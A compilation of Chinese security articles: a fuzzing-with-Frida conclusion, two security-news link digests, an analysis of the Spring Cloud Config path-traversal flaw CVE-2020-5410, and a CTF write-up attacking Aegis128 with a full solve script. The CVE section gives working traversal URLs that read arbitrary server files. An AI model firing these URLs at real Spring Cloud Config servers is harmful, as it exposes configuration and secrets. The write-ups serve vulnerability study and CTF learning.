这样生成出来的视频文件其实已经经过一定程度的变异，甚至可以直接fuzz出一些crash了。
## 覆盖率引导:
样本集有了，我们需要进行一些裁剪工作，主要根据样本对被测目标的覆盖率进行筛选，选出能够最大化coverage的最小集合，然后再对这个最小样本集进行变异，这样可以避免生成一些重复性的测试cases。
技术背景中提到过的stalker是这个环节的核心，stalker是frida系列神器的代码tracer，可以做到函数级、基本块级、指令集的代码tracing。不过这个工具之前一直对arm支持的不够好，目前frida
14.0的版本也仅支持arm64。
stalker的主要原理是dynamic recompilation，这里我们简单介绍一些stalker中的专有名词概念：
Blocks：基本块，与编译原理中的概念相同，不再赘述。
Probes：Probes就是一个基本块的桩点，如果你用过interceptor的话，他们很类似。
Trust Threshold：这个概念稍微有点绕，它实际主要是为了优化编译执行效率，但是设置它却和一些带有self-modifying功能的程序有关，例如某些加过壳或者做了anti-disassembly的binary在runtime期间会对自身的代码进行rewrite，这个过程stalker就必须要对代码重新进行dynamic
recompilation，这将会是个非常耗时且麻烦的过程。所以stalker为blocks设置了一个阈值N，当blocks执行过N次之后，这个block将会被标记为可信的，以后就不会再对它进行修改了。
了解了这些概念后，继续来看一下stalker在dynamic
recompilation过程中的基本操作。stalker会申请一块内存，以基本块为单位写入instrumented后的block
copy并插入Probes，重定位位置相关的指令例如ADR Address of label at a PC-relative
offset.，对于函数调用，保存lr相关的上下文信息，建立这个块的索引并且进行count计数，达到Trust
Threshold的设定阈值的就不再进行重新编译，接下来执行一个基本块然后继续开始下一个。这个过程限于篇幅只能说个大概，实际的处理过程比较复杂，感兴趣的同学可以自行去读一下stalker的代码加深理解。
通过stalker的能力，我们可以在trace
target的过程中清晰的拿到coverage，后续通过coverage来优化样本集，引导变异过程等就都很轻松了。例如我们可以通过建立bitmap的方式记录覆盖状态，根据coverage的高低来对样本进行筛选，还可以通过coverage来确定每次样本变异后的的效果等。
最后截几小段关键代码示例一下：
## 结束语：
fuzzing技术作为漏洞挖掘的经典手段，一直受到安全从业人员的喜爱，无恒实验室也一直致力于使用fuzzing技术发现产品的安全缺陷，提升产品质量。在这个过程中我们发现了大量安全性及稳定性问题，但是路漫漫其修远兮，未来无恒实验室会继续在fuzzing的智能化、高效化、精准化等方向持续投入研究，并且向业界贡献成果。
## 关于无恒实验室：
无恒实验室是由字节跳动资深安全研究人员组成的专业攻防研究实验室，实验室成员具备极强的实战攻防能力，研究领域覆盖渗透测试、APP安全、隐私保护、IoT安全、无线安全、漏洞挖掘等多个方向。实验室成员为字节跳动各项业务保驾护航的同时，不断钻研攻防技术与思路，发表多篇高质量论文和演讲，发现大量影响面广的0day漏洞。无恒实验室希望以最为稳妥和负责的方式降低网络安全问题对企业的影响，同时，通过实验室的技术沉淀、产品研发，致力于保障字节跳动旗下业务与产品的用户安全，让世界更加美好更加安全！
加入无恒实验室：<https://security.bytedance.com/static/lab/index.html> | 社区文章 |
# 3月28日热点 - Meltdown补丁再出问题，允许用户级程序读取内核数据
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
微软Meltdown补丁引发更大的安全漏洞，允许任何用户级应用程序从操作系统内核读取内容，甚至将数据写入内核内存
<https://www.bleepingcomputer.com/news/microsoft/meltdown-patch-opened-bigger-security-hole-on-windows-7/>
新的CPU侧信道攻击——BranchScope
<https://www.bleepingcomputer.com/news/security/academics-discover-new-cpu-side-channel-attack-named-branchscope/>
> [BranchScope is a new side-channel attack method against Intel
> chip](https://securityaffairs.co/wordpress/70714/hacking/branchscope-side-> channel-attack.html)
灰鹭监视公司
> [Grey Heron, the new Co in the surveillance industry that promises to spy on
> Signal and
> Telegram](https://securityaffairs.co/wordpress/70700/hacking/grey-heron-> surveillance-firm.html)
浏览器内的加密越来越难以检测到
<https://www.bleepingcomputer.com/news/security/in-browser-cryptojacking-is-getting-harder-to-detect/>
VirusBay——分享恶意软件分析社区
<https://www.bleepingcomputer.com/news/security/virusbay-aims-to-make-malware-analysis-more-social/>
Firefox插件将Facebook网站及其所有域名隔离
<https://www.bleepingcomputer.com/news/software/firefox-add-on-isolates-facebook-tracking-from-the-rest-of-the-browser/>
Struts框架S2-056漏洞预警
<https://cwiki.apache.org/confluence/display/WW/S2-056>
[https://open.work.weixin.qq.com/wwopen/mpnews?mixuin=3_HVCQAABwBuIkeyAAAUAA&mfid=WW0328-lC6I7gAABwAEhQ8V4-a1TwtN_v_23&idx=0&sn=47f1a5e9f022ba9c73fd5bf32511a0c0&from=timeline&isappinstalled=0](https://open.work.weixin.qq.com/wwopen/mpnews?mixuin=3_HVCQAABwBuIkeyAAAUAA&mfid=WW0328-lC6I7gAABwAEhQ8V4-a1TwtN_v_23&idx=0&sn=47f1a5e9f022ba9c73fd5bf32511a0c0&from=timeline&isappinstalled=0)
GOSCANSSH恶意软件瞄准SSH服务器
> [GoScanSSH Malware Targets SSH Servers, But Avoids Military and .GOV
> Systems](https://threatpost.com/goscanssh-malware-targets-ssh-servers-but-> avoids-military-and-gov-systems/130812/)
高额打车补贴下，黑产如何薅走美团的羊毛？
<http://t.cn/RnHbBfP>
## 技术类
客户端 session 导致的安全问题
<https://paper.seebug.org/550/>
披着狼皮的羊——寻找惠普多款打印机中的RCE漏洞
<https://paper.seebug.org/549/>
智能合约蜜罐
<https://medium.com/@gerhard.wagner/the-phenomena-of-smart-contract-honeypots-755c1f943f7b>
利用入侵分析的微控制器进行固件修复
[https://duo.com/blog/microcontroller-firmware-recovery-using-invasive-analysis](https://duo.com/blog/microcontroller-firmware-recovery-using-invasive-analysis?utm_source=securitydailynews.com#eyJoYXNoIjoiIiwic2VhcmNoIjoiP3V0bV9zb3VyY2U9c2VjdXJpdHlkYWlseW5ld3MuY29tIn0=)
### 强网杯出题思路
<https://bbs.pediy.com/thread-225488.htm>
强网杯writeup
<https://lorexxar.cn/2018/03/26/qwb2018/>
加密101：解密者的思考过程
> [Encryption 101: Decryptor’s thought
> process](https://blog.malwarebytes.com/threat-> analysis/2018/03/encryption-101-decryptors-thought-process/)
记一次爬虫批量爬取exp
[https://mp.weixin.qq.com/s?__biz=MzI5NTQ5MTAzMA==&mid=2247483860&idx=1&sn=c773f70165f5a48be62acdf8e0217f2d&chksm=ec53856ddb240c7b372d85c3912456b236f9b37e399e30c687b4596892cf5c399ef4ea9aeb18&scene=38#wechat_redirect](https://mp.weixin.qq.com/s?__biz=MzI5NTQ5MTAzMA==&mid=2247483860&idx=1&sn=c773f70165f5a48be62acdf8e0217f2d&chksm=ec53856ddb240c7b372d85c3912456b236f9b37e399e30c687b4596892cf5c399ef4ea9aeb18&scene=38#wechat_redirect)
Pwn a CTF Platform with Java JRMP Gadget
[http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html](http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html?utm_source=securitydailynews.com)
Reducing Fuzzing Code Coverage Overhead using “Disposable Probes”
[https://repret.wordpress.com/2018/03/21/128/](https://repret.wordpress.com/2018/03/21/128/?utm_source=securitydailynews.com)
DiskShadow工具介绍
[https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/](https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/?utm_source=securitydailynews.com) | 社区文章 |
# 4月17日安全热点 - 安全违规调查：2017年全球“丢失”数据26亿条
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
360-CERT 每日安全简报 2018-04-17 星期二
## 【漏洞】
1.英特尔SPI Flash中存在缺陷，攻击者能更改或删除BIOS/UEFI固件
<http://t.cn/RmQjA2M>
2.Thinkphp3.2.3最新版update注入漏洞
<http://t.cn/RmQ9zM0>
3.CVE-2018-0737 OpenSSL：密钥生成过程中恢复RSA私钥
<http://t.cn/RmR0CFW>
## 【恶意软件】
1.恶意软件使用DNS劫持感染Android智能手机
<http://t.cn/RmQS3zS>
## 【安全研究】
1.Veil-Evasion+PyJoiner捆绑两个EXE免杀思路分享
<http://t.cn/RmQ9PVL>
2.How to kill a (Fire)fox
<http://t.cn/RmQIiMy>
3.赛门铁克回顾2017移动威胁态势：恶意软件变种数量增长了54%
<http://t.cn/Rm8X5wA>
4.Apple Safari – Wasm 部分 Exploit
<http://t.cn/RmR0rIp>
5.微软编译器（如VS) 在生成pdb文件时（透过mspdbcore.dll)，会把一些未初始化内存保存到pdb文件中，导致编译者进程数据泄漏
<http://t.cn/RmRYrle>
## 【安全工具】
1.虚拟文件系统编辑器
<http://t.cn/RmRiRAS>
## 【安全报告】
1.Check Point 2018年安全报告
<http://t.cn/Rm8X5ys>
## 【安全事件】
1.泰国最大的4G移动运营商TrueMove H遭遇数据泄露
[ http://t.cn/RmjTB3l](http://t.cn/RmjTB3l)
2.暴风等知名软件广告页遭挂马攻击，十多万用户被病毒感染
<http://t.cn/RmQ9PGu>
## 【安全资讯】
1.安全违规调查：2017年全球“丢失”数据26亿条
<http://t.cn/Rm8X5qn>
2.黑客利用IIS漏洞来攻击Windows服务器挖矿
<http://t.cn/RmQi6CD>
3.施耐德U.motion Builder多个漏洞
<http://t.cn/RmNM10m>
4.三位安全研究员联手，拿下逾5万台服务器的僵尸网络EITest
<http://t.cn/Rm8X5cm>
5.微软工程师被指控与Reveton勒索软件有关
<http://t.cn/Rm8X5fH>
6.软银等四家电信公司联合组建“全球电信安全联盟”
<http://t.cn/RmQDqdG>
7.黑客通过大堂鱼缸里的温度计偷走了赌场的数据
<http://t.cn/Rm8X5xq>
8.支付宝“扫码领红包”遭滥用，有人两天赚近百万元
<http://t.cn/Rm8X56K>
9.BigID斩获RSAC2018创新沙盒冠军
<http://t.cn/RmR0NPa>
10.微软发布Windows 10 Insider Build 17134（RS4）包含修复KB4100375漏洞的安全更新
<http://t.cn/RmR0NhV>
11.美国，英国指控俄罗斯黑客入侵路由器和ISP进行MitM攻击
<http://t.cn/RmR0N7U>
【以上信息整理于 <https://cert.360.cn/daily> 】
**360CERT全称“360 Computer Emergency Readiness
Team”，我们致力于维护计算机网络空间安全，是360基于”协同联动，主动发现，快速响应”的指导原则，对全球重要网络安全事件进行快速预警、应急响应的安全协调中心。**
**微信公众号：360cert** | 社区文章 |
## 漏洞描述
Spring Cloud Config，2.2.3之前的2.2.x版本，2.1.9之前的2.1.x版本以及较旧的不受支持的版本允许应用程序通过spring-cloud-config-server模块提供任意配置文件。恶意用户或攻击者可以使用特制URL发送请求，这可能导致目录遍历攻击。
Spring cloud
Config已经出现过两次目录穿越漏洞，分别是CVE-2019-3799和CVE-2020-5405,可参考之前的文章:`https://xz.aliyun.com/t/7558`。
## 漏洞补丁
这次补丁主要是两个部分,第一个部分是将对路径的检测方法单独的封装了出来,封装到了PathUtils类中,并且做了部分的修改,其中最主要的是检测了`#`,至于是为什么,后面来说。
第二部分,也就是漏洞的触发入口，在environment/EnvironmentController.java中,增加了对name、label字段的检测
## 漏洞细节
通过补丁我们可以大概知道漏洞应该是出在EnvironmentController,但是具体怎么触发并不知道,所以我们需要跟一遍正常逻辑看一下处理流程。
既然是目录穿越漏洞,我们先通过环境变量设置本地读取
profiles:
active: native
cloud:
config:
server:
native:
search-locations:
- file:/test/config-repo-master
然后使用正确的请求来动态跟踪调用堆栈`http://127.0.0.1:8889/111/222/333`,将断点打在入口处,然后往下跟
在跟到`environment/NativeEnvironmentRepository.java`的时候发现参数进行了拼接,
重新跟进getArgs看一下
private String[] getArgs(String application, String profile, String label) {
List<String> list = new ArrayList<String>();
String config = application;
if (!config.startsWith("application")) {
config = "application," + config;
}
list.add("--spring.config.name=" + config);
list.add("--spring.cloud.bootstrap.enabled=false");
list.add("--encrypt.failOnError=" + this.failOnError);
list.add("--spring.config.location=" + StringUtils.arrayToCommaDelimitedString(
getLocations(application, profile, label).getLocations()));
return list.toArray(new String[0]);
}
主要在getLocations中对路径进行了下拼接,声称了一个将env中的uri拼接了label,生成新的location,那么这个点就是我们目录穿越的关键,继续往下跟,在`environment/NativeEnvironmentRepository.java`中会将args传入spring
boot的`ConfigurableApplicationContext context =
builder.run(args)`,后面会使用loader.load函数加载资源,在加载资源的时候会遍历locations拼接name来获取资源,首先来判断是否存在文件,如果文件存在,则去使用url.openConnection来获取资源,通过分析我们知道label和name是我们可控的传入,
url = env-uri+label+name+extension
因为是借助的url.openConnection,结合补丁增加了`#`限制,我们可以清楚的知道通过在name中以`#`结尾,使extension成为锚点,也就绕过了后缀的限制。
在构造poc之前其实还有一个问题，就是这里我们知道一开始是没有对路径进行检测的,那么我们是否可以直接使用`../../`来穿越呢?答案是否,因为如果我们想要传入后端处理,必须二次url编码,但是二次编码后,首先经过的是判断文件是否存在,如果存在才调用url.openConnection来处理,经过一次解码后,显然该路径文件是不存在的。
这里就有了跟CVE-2020-5405一样的操作,将`(_)`替换成了`/`,处理方法在
public static String normalize(String s) {
if (s != null && s.contains(SLASH_PLACEHOLDER)) {
// "(_)" is uncommon in a git repo name, but "/" cannot be matched
// by Spring MVC
return s.replace(SLASH_PLACEHOLDER, "/");
}
return s;
}
构造poc:
http://127.0.0.1:8889/flag.txt%23/222/..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29tmp%28_%29
构造完这个poc会想到,既然是label+name来拼接的,我们是否可以不用管label,目录穿越的方法在name处构造呢?
答案是可以的,poc如下
http://127.0.0.1:8889/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Ftmp%252Fflag.txt%23/222/11
## 参考
* <https://tanzu.vmware.com/security/cve-2020-5410> | 社区文章 |
# 太湖杯密码学 Aegis 题解
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## Aegis
整个出题的题目参考了googlectf 2020
Oracle的题目。由于考虑到比赛时长的问题（其实是作者比较菜），基本上是将其中的一个考点拿了出来修改成了当前的题目。针对那个题目比较完整的解法可以参考[这里](https://github.com/nguyenduyhieukma/CTF-Writeups/blob/master/Google%20CTF%20Quals/2020/oracle/oracle-solution.ipynb)
这个地方也有这个算法的比较详细的解释。
### 算法简介
AEGIS 算法是一种AEAD（authenticated encryption with associated data 关联数据的认证加密）
加密。这种算法除了能够提供对指定明文的加密，还能够提供对未加密的关联数据的完整性保证。说通俗一点就是，除了能够对我们发送的需要加密的信息进行加密，同时还提供了对我们明文信息的长度和时间这些未加密的数据进行验证的手法。当我们将密文解开的时候，会包含一个之前提供的明文信息的验证途径，例如能够得到长度的一个验证数据，我们此时就能够用这个数据验证我们之前未加密的长度的完整性。
在题目中，我们能看到两种不同的值:pt和aad
ct, tag = cipher.encrypt(iv, aad, pt)
此处的pt表示的就是我们通常意义下的明文，而这里的aad，实际上就是`authenticated associated
data`，认证关联数据。这个数据会参与到整个加密过程中，用于生成状态。
ct表示的是加密后的密文，tag则是在加密完成后的状态算法中生成的校验标签，可以用来校验aad的值是否发生变化。
关于aad的验证算法可以初步看一下加密过程。
def encrypt(self, iv, ad, msg):
S = self.initialize(iv)
S = self.update_aad(S, ad)
S, ct = self.raw_encrypt(S, msg)
tag = self.finalize(S, len(ad) * 8, len(msg) * 8)
return ct, tag
def decrypt(self, iv, ad, ct, tag):
S = self.initialize(iv)
S = self.update_aad(S, ad)
S, pt = self.raw_decrypt(S, ct)
tag2 = self.finalize(S, len(ad) * 8, len(ct) * 8)
if tag2 != tag:
raise Exception('Invalid tag')
return pt
由于在加密或者解密过程中，aad值参与了最初加密状态的生成，所以aad值在不变的前提下，加解密中状态（State）变化是一致的，最后阶段算出来的 tag2
理论上会和我们传入的tag一致，就是利用这一点来保证aad的完整性。
### Aegis128的算法
想要明白当前的算法的漏洞，需要先看明白当前加密算法原理。整个加密中会维护一个 **状态**
的概念，然后我们需要加密的内容会类似一些向量来影响整个状态，从而对明文完成加密。那么首先，为了更加方便的描述加密过程，我们需要预先定义一些变量:
S[i]: 第i步更新的状态
S[i][j]: 第i步状态中，第j块128bit分组
^: 状态之间异或运算
&: 状态的与运算
const0: 128bit的一个魔数（0x000101020305080d1522375990e97962）
const1: 128bit的一个魔数（0xdb3d18556dc22ff12011314273b528dd）
Aegis有三种不同的加密方式，我们这里使用的是128版本
#### 状态更新 StatusUpdate
Aegis加密算法中，一个重要的概操作就是状态更新StateUpdate。当这个过程发生的时候，其更新算法如下:
m: 一个128bit的信息
S[i+1] = StatueUpdate(S[i], m)
S[i+1][0] = S[i][0]^AESRound(S[i][4])^m
S[i+1][1] = S[i][1]^AESRound(S[i][0])
S[i+1][2] = S[i][2]^AESRound(S[i][1])
S[i+1][3] = S[i][3]^AESRound(S[i][2])
S[i+1][4] = S[i][4]^AESRound(S[i][3])
这个更新过程的流程大致可以写作如下:
#### 初始化过程
整个算法的更新，首先使用密钥K128与初始化向量IV128进行一些运算，最终产生整个算法的初始状态。此时的K128为我们加密算法的密钥，IV128为一个可变的向量。整个生成的过程可以写作:
def initialize(self, iv):
k_iv = _xor(self.key, iv)
S = [k_iv,
self.const_1,
self.const_0,
_xor(self.key, self.const_0),
_xor(self.key, self.const_1)]
for _ in range(5):
S = self.state_update(S, self.key)
S = self.state_update(S, k_iv)
return S
根据代码，我们可以写作:
S[-5][0] = k128^iv128
S[-5][1] = const_1
S[-5][2] = const_0
S[-5][3] = k128^const_0
S[-5][4] = k128^const_1
for i in range(5)
S[-5+i+1] = StatueUpdate(S[-4+i], k128)
S[-5+i+1] = StatueUpdate(S[-4+i+1], k128^iv128)
这里写作-4，主要是为了可以同步，保证我们在起始状态下为`S[0]`。
### Aegis 中的AES
我们来仔细看一下Aegis中的AES算法。首先来看到官方给出的aes:
def aes_enc(s: block, round_key: block) -> block:
"""Performs the AESENC operation with tables."""
t0 = (te0[s[0]] ^ te1[s[5]] ^ te2[s[10]] ^ te3[s[15]])
t1 = (te0[s[4]] ^ te1[s[9]] ^ te2[s[14]] ^ te3[s[3]])
t2 = (te0[s[8]] ^ te1[s[13]] ^ te2[s[2]] ^ te3[s[7]])
t3 = (te0[s[12]] ^ te1[s[1]] ^ te2[s[6]] ^ te3[s[11]])
s = _block_from_ints([t0, t1, t2, t3])
return _xor(s, round_key)
`te0[s[0]],te1[s[1]]`这些就相当于是s盒，按照`s0,s5,s10,s15`这种顺序取值相当于是行位移(shift)，取值进行异或就相当于是列混淆(mix_column)。整个过程我们大致写下来就是:
AES(m) = mix_column(shift(Sbox(m)))
实际上就是AES加密算法中，除去 **密钥交换** 这一步之后的剩余步骤。并且我们知道，整个Aegis加密中，AES参与的方式为:
if j != 0
S[i+1][j] = AES(S[i][(j+4)%5])
else
S[i+1][j] = AES(S[i][(j+4)%5]) ^ mi
于是我们可以简写成如下的运算:
if j != 0
C = AES(M)
else
C = AES(M)^m
那假设此时，我们的M发生了一些变化，我们这里将变化的差值写作`dM`，此时有
M1 = M^dM
对M1的加密就可以写成:
if j != 0
C1 = AES(M1) = AES(M^dM)
else
C1 = AES(M1)^m = AES(M^dM)^m
C1、C均为我们可以得到的具体值，如果我们能够通过控制加密的内容，使得dM可控（之后会展示） **我们就有机会能够推导出M的值** 。具体的做法如下:
1. 将C1^C，此时消除了m的影响，存在公式
C1^C = AES(M^dM)^AES(M)
2. AES = mix_column(shift(Sbox(m)))
然而首先我们知道，mix_column本身也是异或运算得到的结果，也就是说满足
mix_column(x)^mix_column(x^dx) = mix_column(dx)
而shift只是位移操作，所以也可满足
shift(x)^shift(x^dx) = shift(dx)
所以实际上可以写作
C1^C = AES(M^dM)^AES(M) = Sbox(M^dM)^Sbox(M)
然而实际上，Sbox运算是可以被爆破的。假设我们能知道dM，那我们只需要爆破16个字节，最终就能推导出M的值
### Aegis的加密过程
由于Aegis128加密中的最小单位为128bit，也就是16字节，所以加密之前会将当前的明文填充至16的倍数。之后，每16个字节的加密手法如下:
for i in range(0, len16(msg), 16):
Ci = (S2 & S3) ^ S1 ^ S4 ^ mi
Si+1 = StatusUpdate(Si, mi)
注意一个细节，这边为了防止S0的参与导致加密算法被利用，所以在加密过程中故意抛弃了S0。
加密结束之后，更新当前状态块。这里参考一个图可能会更加清晰:
`p[i][0]`为我们按照16字节分组的第i组明文输入，`k[0][0]`表示第0组的明文加密得到的密文。这里注意，我们的明文的
**第0组实际上参与了第一组密文的生成，并且还影响了第1组的状态**
。图上的红框表示的就是，当我们的输入`p[0][0]`发生变化的时候，实际上会影响的状态。从图上可知，当输入`p[0][0]`变化的时候，实际上会影响的是:`s[1][0],
s[2][0], s[2][1], k[2][0]（这个地方应该写作k[2]，可能是图片作者写错了）`
参考源码：
def raw_encrypt(S, msg):
ct_blocks = []
for i in range(0, len(msg), 16):
blk = msg[i:i+16]
mask = Aegis128.output_mask(S)
if len(blk) < 16:
mask = mask[:len(blk)]
p = blk + bytes(16 - len(blk))
else:
p = blk
ct_blocks.append(_xor(mask, blk))
S = Aegis128.state_update(S, p)
return S, b''.join(ct_blocks)
def encrypt(self, iv, ad, msg):
S = self.initialize(iv)
S = self.update_aad(S, ad)
S, ct = self.raw_encrypt(S, msg)
tag = self.finalize(S, len(ad) * 8, len(msg) * 8)
return ct, tag
### Ageis的漏洞点
加密流程中，IV和key都不会更新，并且加密7次。最终目的是让我们求出当使用了空的aad进行了StateUpdate状态后得到的初始状态，也就是状态`S[1]`。
这一类IV、key不发生变化的题目，其实传达的一个含义就是 **加密算法本身是不变的，即是说对于加密算法`C =
F(m)`，这个F是不变量，而此时的m和C都是已知的，就有机会构造合适的m，从而泄露F中的一些信息**
#### 第一步泄露
这里重新展示一下之前用来描述加密的那张图，这里我们着重关注的是变化值:
可以看到，当`p[0][0]`变化的时候，`s[1][0], s[2][0], s[2][1], k[2]`均会收到影响。这里我们复习一下这几个值的关系:
（1）k[2] = (S[2][2] & S[2][3]) ^ S[2][1] ^ S[2][4] ^ p[2][0]
（2）k[1] = (S[1][2] & S[1][3]) ^ S[1][1] ^ S[1][4] ^ p[1][0]
（3）S[2][0] = AESRound(S[1][4])^S[1][0]^p[1][0]
（4）S[1][0] = AESRound(S[0][4])^S[0][0]^p[0][0]
* 由于（2）我们可以知道，`S[1][0]`并不参与到整个加密过程中，所以不会对加密本身有影响，因此`k[1]`的值不发生变化
* 此时生成的密文`kd[2]`虽然发生了变化，但是其变化 **仅仅是因为`S[2][1]`发生了变化**，因为在StateUpdate中，只有`S[2][1]`会受到输入的影响，其他的状态并不收到当前的输入状态影响:
这里我们将变化后的p写作`dp`，并且满足`dtp = dp^p`，发生了相应变化的变量都加上`d`的前缀，于是此时有：
kd[2] ^ k[2] = S[2][1] ^ Sd[2][1] = AESRound(S[1][0])^AESRound(Sd[1][0])
此时我们的`kd[2] ^ k[2]`是已知量。而我们此时知道
（5）AESRound(S[1][0])^AESRound(Sd[1][0]) = Sbox(S[1][0])^Sbox(Sd[1][0])
（6）S[1][0] = AES(S[0][4]) ^ S[0][0] ^ p[0][0]
由于（6）中，`S[0][0], S[0][4]`在IV和key不变的情况下，即使我们更改p也不会发生变化，所以实际上可以推出
（7）Sd[1][0]^S[1][0] = p[0][0]^dp[0][0] = dtp[0][0]
====> Sd[1][0] = S[1][0] ^ dtp[0][0]
于是我们可以将（5）推到成
（8）Sbox(S[1][0])^Sbox(Sd[1][0]) = Sbox(S[1][0])^Sbox(S[1][0]^dpt[0][0]) = kd[2]^k[2]
在（8）这个算式中，`dpt，kd，k`三个值我们都知道，于是我们只需要爆破`S[1][0]`中的16字节即可。
不过经过测试，直接爆破是存在多解的情况，所以我们可以 **增加一个变化，也就是dpt2，两次的结果综合考虑**
。经过测试，这种方式能够得到唯一的`S[1][0]`
def resolve(dk_1, ds_1, dk_2, ds_2):
# here we check the
tmpk = aes.bytes2matrix(dk_1)
aes.inv_mix_columns(tmpk)
aes.inv_shift_rows(tmpk)
d_k1 = aes.matrix2bytes(tmpk)
tmpk = aes.bytes2matrix(dk_2)
aes.inv_mix_columns(tmpk)
aes.inv_shift_rows(tmpk)
d_k2 = aes.matrix2bytes(tmpk)
# result should be unique
res = bytearray(16)
# try to bruce it
for i in range(16):
x1 = set()
for c in range(256):
if aes.s_box[c] ^ aes.s_box[c^ds_1[i]] == d_k1[i] and aes.s_box[c] ^ aes.s_box[c^ds_2[i]] == d_k2[i]:
x1.add(c)
res[i] = x1.pop()
assert(len(res) == 16)
return bytes(res)
#### 进一步泄露
由于我们有7次通信机会，目前可以如下安排
* 第一次：我们一口气通信获得`k[0],k[1],k[2],k[3],k[4]`，此时我们可以将`p`设置为全0，这样的话能够帮助我们之后更加方便的进行计算
* 第二、三次： 得到`S[1][0]`
* 第四、五次： 得到`S[2][0]`
* 第六、七次： 得到`S[3][0]`
我们可以如法炮制，通过修改`p[1][0],p[2][0]`，得到`S[2][0],S[3][0]`。此时我们有公式:
（3）S[2][0] = AESRound(S[1][4])^S[1][0]^p[1][0] ==> 直接逆运算，可得S[1][4]
（9）S[3][0] = AESRound(S[2][4])^S[2][0]^p[2][0] ==> 利用之前的技巧，可得S[2][4]
（10）S[2][4] = AESRound(S[1][3])^S[1][4] ==> 直接逆运算，可得S[1][3]
此时我们就有了`S[1][0], S[1][3], S[1][4]`，并且题目中泄露了`S[1][2]`，所以我们最终利用
（11）C[1] = (S[2][0] & S[3][0]) ^ S[1][0] ^ S[4][0] ^ pt[0]
就能得到最后的`S[1][1]`，此时整个题泄露完成。
import aes
import os
import aegis
from aegis import _xor,_and
from pwn import *
import base64
def R(x):
tmp = aes.bytes2matrix(x)
aes.sub_bytes(tmp)
aes.shift_rows(tmp)
aes.mix_columns(tmp)
return aes.matrix2bytes(tmp)
def invR(x3):
tmp = aes.bytes2matrix(x3)
aes.inv_mix_columns(tmp)
aes.inv_shift_rows(tmp)
aes.inv_sub_bytes(tmp)
return aes.matrix2bytes(tmp)
def resolve(dk_1, ds_1, dk_2, ds_2):
# here we check the
tmpk = aes.bytes2matrix(dk_1)
aes.inv_mix_columns(tmpk)
aes.inv_shift_rows(tmpk)
d_k1 = aes.matrix2bytes(tmpk)
tmpk = aes.bytes2matrix(dk_2)
aes.inv_mix_columns(tmpk)
aes.inv_shift_rows(tmpk)
d_k2 = aes.matrix2bytes(tmpk)
# result should be unique
res = bytearray(16)
# try to bruce it
for i in range(16):
x1 = set()
for c in range(256):
if aes.s_box[c] ^ aes.s_box[c^ds_1[i]] == d_k1[i] and aes.s_box[c] ^ aes.s_box[c^ds_2[i]] == d_k2[i]:
x1.add(c)
res[i] = x1.pop()
assert(len(res) == 16)
return bytes(res)
def encrypt(ph, aad, pt):
ph.sendline(base64.standard_b64encode(pt))
ph.sendline(base64.standard_b64encode(aad))
ct = ph.recvline(keepends=False)
ct = base64.standard_b64decode(ct.decode('utf-8'))
tag = ph.recvline(keepends=False)
tag = base64.standard_b64decode(tag.decode('utf-8'))
return ct, tag
def decrypt(ph, aad, pt, index, ct):
left_index = (index+1)*16
right_index = (index+2)*16
enc, tag = encrypt(ph, aad, pt[2*index-1])
# print("enc[{}:{}]".format(left_index/32,right_index/32))
# print("pt[{}:{}]".format(2*index-1, 2*index))
ct1_2 = enc[left_index:right_index]
# encrypt 3
enc, tag = encrypt(ph, aad, pt[2*index])
# print(pt[2*index])
ct1_3 = enc[left_index:right_index]
# decrypt s10
# print(ct)
# print(ct1_2)
# print(ct)
# print(ct1_2)
dk1 = _xor(ct,ct1_2)
dk2 = _xor(ct,ct1_3)
# split S1/S5
# pt split ,too
s = resolve(dk1, pt[2*index-1][16*(index-1):16*(index)],
dk2, pt[2*index][16*(index-1):16*(index)])
return s
def localTest():
ph = remote("127.0.0.1",'10090')
pt = []
padding = b'\x00'*16
p0 = b'\x00'*16
p1 = b'\x00'*16
p2 = b'\x00'*16
pt.append(p0+p1+p2+padding*2)
# for i in range(1,7):
# pt.append(bytes([i%2+1]*16)+padding)
# for s10
pt.append(bytes([1]*16)+padding+padding)
pt.append(bytes([2]*16)+padding+padding)
# for s20
pt.append(padding+bytes([1]*16)+padding+padding)
pt.append(padding+bytes([2]*16)+padding+padding)
# for s30
pt.append(padding+padding+bytes([1]*16)+padding*2)
pt.append(padding+padding+bytes([2]*16)+padding*2)
iv = ph.recvline(keepends=False)
aad = b''
# encrypt 1
enc, tag = encrypt(ph, aad, pt[0])
print(enc)
ct = []
for i in range(5):
ct.append(enc[i*16:(i+1)*16])
s10 = decrypt(ph, aad, pt, 1, ct[2])
# decrypt 2
s20 = decrypt(ph, aad, pt, 2, ct[3])
# decrypt 3
s30 = decrypt(ph, aad, pt, 3, ct[4])
# s20 = s10 xor R(s14) ==> s14 = invR(s20 xor s10)
s14 = invR(_xor(s20, s10))
# s30 = s20 xor R(s24) ==> s24 = invR(s20 xor s30)
# s24 = s14 xor R(s13) ==> s13 = invR(s14 xor s24)
s24 = invR(_xor(s20, s30))
s13 = invR(_xor(s24, s14))
ph.recvuntil("Oops, something leak:")
s12 = ph.recvline(keepends=False)
print(s12)
s12 = base64.standard_b64decode(s12.decode('utf-8'))
# if pt = 00 then enc1 = (s12&s13) xor s14 xor s11
# -> s11 = enc1 xor s14 xor (s12&s13)
enc1 = enc[16:16*2]
s11 = _xor(s14, _xor(enc1, _and(s12, s13)))
# s15 = _xor(s12, _xor(enc12, _and(s16, s17)))
s1 = s10+s11+s12+s13+s14
ph.sendline(base64.standard_b64encode(s1))
ph.interactive()
if __name__ == "__main__":
localTest() | 社区文章 |
# 【技术分享】HackerOne第三季度TOP 5 漏洞报告
|
##### 译文声明
本文是翻译文章，文章来源：hackerone
原文地址：<https://hackerone.com/blog/top-vulnerability-reports-of-3Q-2016>
译文仅供参考，具体内容表达以及含义原文为准。
**翻译：**[ **sinensis**
****](http://bobao.360.cn/member/contribute?uid=2642794559)
**稿费：170RMB（不服你也来投稿啊！）
**
**投稿方式：发送邮件至linwei#360.cn，或登陆[
